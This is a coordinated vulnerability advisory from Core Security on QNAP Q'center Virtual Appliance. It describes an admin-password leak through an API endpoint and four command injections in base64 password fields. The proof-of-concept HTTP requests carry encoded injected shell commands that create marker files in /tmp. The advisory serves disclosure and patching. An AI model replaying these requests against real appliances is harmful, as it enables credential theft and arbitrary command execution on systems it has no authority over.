QNAP Qcenter Virtual Appliance 1.6.x Information Disclosure / Command Injection

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
QNAP Qcenter Virtual Appliance Multiple Vulnerabilities  
  
1. *Advisory Information*  
  
Title: QNAP Qcenter Virtual Appliance Multiple Vulnerabilities  
Advisory ID: CORE-2018-0006  
Advisory URL:  
http://www.coresecurity.com/advisories/qnap-qcenter-multiple-vulnerabilities  
Date published: 2018-07-11  
Date of last update: 2018-07-11  
Vendors contacted: QNAP  
Release mode: Coordinated release  
  
2. *Vulnerability Information*  
  
Class: Information Exposure [CWE-200], Command Injection [CWE-77],  
Command Injection [CWE-77], Command Injection [CWE-77],  
Command Injection [CWE-77]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
CVE Name: CVE-2018-0706, CVE-2018-0707, CVE-2018-0708, CVE-2018-0709,  
CVE-2018-0710  
  
3. *Vulnerability Description*  
  
QNAP's website states that:  
  
[1] Q'center Virtual Appliance is a central management platform that  
enables you to consolidate the management of multiple QNAP NAS. The  
Q'center web interface gives you the ease-of-use, cost-efficiency,  
convenience and flexibility to manage multiple NAS, across multiple  
sites, from any internet browser.  
  
The platform's provides centralized web-based administration to manage  
the following features:  
  
- Review HDD S.M.A.R.T. values  
- Monitor system status  
- Manage apps and shared folders  
- Review infographice reports  
  
Multiple vulnerabilities were found in the Q'center Virtual Appliance  
web console that would allow an attacker to execute arbitrary commands  
on the system.  
  
4. *Vulnerable versions*  
  
. Q'center Virtual Appliance Version 1.6.1056 (20170825)  
. Q'center Virtual Appliance Version 1.6.1075 (20171123)  
Other products and versions might be affected, but they were not tested.  
  
5. *Vendor Information, Solutions and Workarounds*  
  
QNAP published the following Security Note:  
  
. https://www.qnap.com/en-us/security-advisory/nas-201807-10  
  
6. *Credits*  
  
These vulnerabilities were discovered and researched by Ivan Huertas  
from Core Security Consulting Services. The publication of this advisory  
was coordinated by Leandro Cuozzo from Core Advisories Team.  
  
7. *Technical Description / Proof of Concept Code*  
  
QNAP's Q'center Virtual Appliance web console includes a functionality  
that would allow an authenticated attacker to elevate privileges on the  
system. We describe this issue in section 7.1.  
  
Sections 7.2, 7.3, 7.4 and 7.5 show different methods to gain command  
execution.  
  
7.1. *Privilege escalation*  
  
[CVE-2018-0706]  
The application contains an API endpoint that returns information about  
the accounts defined in the database. The information returned is  
informative for all the users except for the admin user, which cames  
with every installation, where an extra field is presented. This extra  
field (new_password) contains the password defined at installation time  
for the admin user encoded in base64.  
  
Any authenticated user could access this API endpoint and retrieve the  
admin user's password, therefore being able to login as an administrator.  
  
The following proof of concept shows a user with viewer access  
retrieving the admin's password encoded in base64 in the new_password  
field.  
  
/-----  
GET /qcenter/hawkeye/v1/account?_dc=1519932315271 HTTP/1.1  
Host: 192.168.1.178  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Referer: https://192.168.1.178/qcenter/  
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;  
DST_ENABLE=False; user=viewer; CMS_SID=IV4P74Y16X; ROLE=1082130432;  
_ID=5a9847223af7e2034924e7b6; LOGIN_TIME=1519932215818; remember=false  
Connection: close  
  
HTTP/1.1 200 OK  
Date: Thu, 01 Mar 2018 19:23:43 GMT  
Server: Apache  
X-Frame-Options: SAMEORIGIN  
X-XSS-Protection: 1; mode=block  
X-Content-Type-Options: nosniff  
Content-Type: application/json  
Content-Length: 878  
Connection: close  
  
{  
"total_count": 2,  
"account": [  
{  
"dst_enable": false,  
"name": "admin",  
"default": true,  
"new_password": "YWRtaW5pc3RyYWRvcg==",  
"authentication": 0,  
"create_time": {  
"$date": 1519917983616  
},  
"role": 4294967295,  
"timezone_code": 17,  
"last_login": {  
"$date": 1519929869797  
},  
"_id": "5a981b9f3af7e2030c883592",  
"email": "",  
"description": "administrator"  
},  
{  
"dst_enable": false,  
"name": "viewer",  
"register_code": "",  
"authentication": 0,  
"create_time": {  
"$date": 1519929122332  
},  
"role": 1082130432,  
"timezone_code": 17,  
"last_login": {  
"$date": 1519932215818  
},  
"_id": "5a9847223af7e2034924e7b6",  
"email": "",  
"description": ""  
}  
]  
}  
-----/  
  
As can be seen in the following excerpt, the decoded base64 data  
corresponds to the plaintext administrator password set at installation  
time.  
  
/-----  
$ echo YWRtaW5pc3RyYWRvcg== | base64 -d  
administrador  
-----/  
  
7.2. *Command Execution in change password for the admin user*  
  
[CVE-2018-0707]  
When the admin user performs a password change, the application executes  
an OS command to impact the changes. The input is not properly sanitized  
when passed down to the OS, allowing an attacker to run arbitrary  
commands.  
  
/-----  
POST /qcenter/hawkeye/v1/account?change_passwd HTTP/1.1  
Host: 192.168.1.209  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/json  
X-Requested-With: XMLHttpRequest  
Referer: https://192.168.1.209/qcenter/  
Content-Length: 118  
Cookie: CMS_lang=ENG; user=admin; CMS_SID=TWYH7A55X5; ROLE=4294967295;  
_ID=5a8465ba3af7e2030984c84e; LOGIN_TIME=1518714672547;  
AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; remember=false  
Connection: close  
  
{"_id":"5a8465ba3af7e2030984c84e","old_password":"dGlzMzhhZWw=","new_password":"Ijt0b3VjaCAvdG1wL2NoYW5nZXBhc3M7Ig=="}  
-----/  
  
The API requires to send the password encoded in base64. This makes a  
lot easier to inject command as we do not need to bypass any filters.  
For the admin user in the web application, there is also a backing user  
present on the OS. When a password change is requested for this user,  
the values submitted to the API are included in a "sudo passwd" command,  
where the injection occurs.  
  
In this particular case, the old_password must match the current  
password, which can be obtained by exploiting [CVE-2018-0706].  
  
7.3. *Command Execution in network config update*  
  
[CVE-2018-0708]  
The admin user created at installation time can modify the network  
configuration. In order to do this, the admin has to access the settings  
section which is protected by the OS password (which could be obtained  
using the Privilege Escalation vulnerability described above). However,  
we identified that a user with the Power User profile could also execute  
this function, despite access not being provided through the web  
application interface. This function requires to send the admin user  
password encoded in base64 in the passwd field. This value is then used  
to perform a sudo operation in the OS to change the network settings. We  
used the passwd field to inject command  
(";touch /tmp/netconfigpower; echo "a) and create a file in /tmp/.  
  
/-----  
POST /qcenter/hawkeye/v1/network_config HTTP/1.1  
Host: 192.168.1.178  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/json  
X-Requested-With: XMLHttpRequest  
Referer: https://192.168.1.178/qcenter/  
Content-Length: 87  
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;  
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;  
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false  
Connection: close  
  
{"type":"0","dns_type":"0","passwd":"Ijt0b3VjaCAvdG1wL25ldGNvbmZpZ3Bvd2VyOyBlY2hvICJh"}  
-----/  
  
The passwd parameter is used in bash echo command unsanitized.  
  
7.4. *Command Execution in date config update*  
  
[CVE-2018-0709]  
The admin user created at installation time is capable of modifying the  
date configuration. In order to do this, the admin has to access the  
settings section which is protected by the OS password (which could be  
obtained using the Privilege Escalation vulnerability described above).  
However, we identified that a user with the Power User profile could  
execute this function, despite the access is not provided through the  
web application interface. This function requires to submit the admin  
user password encoded in base64 in the passwd field. This value is then  
used to perform a sudo operation in the OS to change the date  
configuration settings. We used the passwd field to inject command  
(";touch /tmp/date_config;echo"lalala) and create a file in /tmp/.  
  
/-----  
POST /qcenter/hawkeye/v1/date_config HTTP/1.1  
Host: 192.168.1.178  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/json  
X-Requested-With: XMLHttpRequest  
Referer: https://192.168.1.178/qcenter/  
Content-Length: 153  
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;  
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;  
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false  
Connection: close  
  
{"listValue":18,"type":"1","datefield":1518663600000,"passwd":"Ijt0b3VjaCAvdG1wL2RhdGVfY29uZmlnO2VjaG8ibGFsYWxh","date":"20180215","time":"16:40:31"}  
-----/  
  
The passwd parameter is used in bash echo command unsanitized.  
  
7.5. *Command Execution in SSH settings config update*  
[CVE-2018-0710]  
The admin user created at installation time is capable of modifying the  
SSH configuration. In order to do this, the admin has to access the  
settings section which is protected by the OS password (which could be  
obtained using the Privilege Escalation vulnerability). However, we  
identified that a user with the Power User profile could execute this  
function, despite the access is not provided through the web application  
interface. This function requires to submit the admin user password  
encoded in base64 in the passwd field. This value is then used to  
perform a sudo operation in the OS to change the date configuration  
settings. We used the passwd field to inject command  
("";touch /tmp/ssh; echo "lalalala) and create a file in /tmp/.  
  
/-----  
POST /qcenter/hawkeye/v1/ssh_setting_config HTTP/1.1  
Host: 192.168.1.178  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/json  
X-Requested-With: XMLHttpRequest  
Referer: https://192.168.1.178/qcenter/  
Content-Length: 82  
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;  
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;  
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false  
Connection: close  
  
{"ssh_enable":1,"port":22,"passwd":"Ijt0b3VjaCAvdG1wL3NzaDsgZWNobyAibGFsYWxhbGE="}  
-----/  
  
The passwd parameter is used in bash echo command unsanitized.  
  
8. *Report Timeline*  
2018-03-13: Core Security sent an initial notification to QNAP,  
including a draft advisory.  
2018-03-14: QNAP replied that they received the draft version of the  
advisory and that they would review it.  
2018-03-23: Core Security requested a status update.  
2018-04-10: Core Security requested a confirmation about the reported  
vulnerabilities and a tentative timescale to fix them.  
2018-04-12: QNAP answered saying that they were unable to reproduce the  
reported vulnerabilities and asked for more detailed information to  
reproduce them.  
2018-04-13: Core Security sent a more detailed guide to test.  
2018-04-16: QNAP confirmed reception.  
2018-04-26: Core Security requested a status update.  
2018-04-29: QNAP confirmed the reported vulnerabilities and informed  
that their software team were working in a fixed version.  
2018-05-21: Core Security requested a status update.  
2018-05-28: QNAP informed that a new version of Q'center would be  
release by the week of June 4.  
2018-05-28: Core Security thanked for the update and proposed June 13th  
as publication date.  
2018-05-29: QNAP answered saying that the new Q'center release was  
delayed and asked to postpone the publication a week later.  
2018-05-29: Core Security asked for a solidified release date in order  
to go public at the same time.  
2018-06-04: QNAP informed that they didn't have a confirmed date yet.  
2018-06-08: Core Security asked QNAP for a status update.  
2018-06-12: QNAP notified that Q'center was under testing, for that  
reason they didn't have a confirmed release date.  
2018-06-25: Core Security asked again for a status update.  
2018-06-27: QNAP replied that they were expecting to release their  
security advisory next week Thursday or Friday.  
2018-06-28: Core Security informed QNAP that recommend vendors not to  
publish near the weekend and proposed Wednesday July 11th as the  
publication date.  
2018-07-02: Core Security asked for a confirmation about the proposed  
date.  
2018-06-27: QNAP confirmed July 11th as the publication date.  
2018-07-11: Advisory CORE-2018-0006 published.  
  
9. *References*  
  
[1] https://www.qnap.com/solution/qcenter/index.php  
  
10. *About CoreLabs*  
  
CoreLabs, the research center of Core Security, is charged with  
anticipating the future needs and requirements for information security  
technologies.  
We conduct our research in several important areas of computer security  
including system vulnerabilities, cyber attack planning and simulation,  
source code auditing, and cryptography. Our results include problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies. CoreLabs regularly publishes security  
advisories, technical papers, project information and shared software  
tools for public use at:  
http://corelabs.coresecurity.com.  
  
11. *About Core Security*  
  
Core Security provides companies with the security insight they need to  
know who, how, and what is vulnerable in their organization. The  
company's threat-aware, identity & access, network security, and  
vulnerability management solutions provide actionable insight and  
context needed to manage security risks across the enterprise. This  
shared insight gives customers a comprehensive view of their security  
posture to make better security remediation decisions. Better insight  
allows organizations to prioritize their efforts to protect critical  
assets, take action sooner to mitigate access risk, and react faster if  
a breach does occur.  
  
Core Security is headquartered in the USA with offices and operations in  
South America, Europe, Middle East and Asia. To learn more, contact Core  
Security at (678) 304-4500 or [email protected]  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2018 Core Security and  
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution  
Non-Commercial Share-Alike 3.0 (United States) License:  
http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
  
`